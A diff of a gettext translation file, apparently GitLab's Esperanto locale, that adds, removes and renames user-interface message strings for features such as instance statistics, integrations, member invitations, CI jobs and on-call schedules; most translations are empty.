@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr "Forlasi la grupon"
msgid "Leave project"
msgstr "Forlasi la projekton"
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr "Ne disponebla"
@@ -18400,6 +18812,9 @@ msgstr "Ne estas sufiĉe da datenoj"
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr "Malsukcesa ĉenstablo"
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr "Apliki peton pri kunfando"
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr "Nova noto"
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr "Reatribui problemon"
@@ -18514,6 +18944,9 @@ msgstr "Reatribui peton pri kunfando"
msgid "NotificationEvent|Reopen issue"
msgstr "Remalfermi problemon"
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr "Sukcesa ĉenstablo"
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr "Opcioj"
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr "Ĉenstablaj planoj"
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr "Rememorigu denove"
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
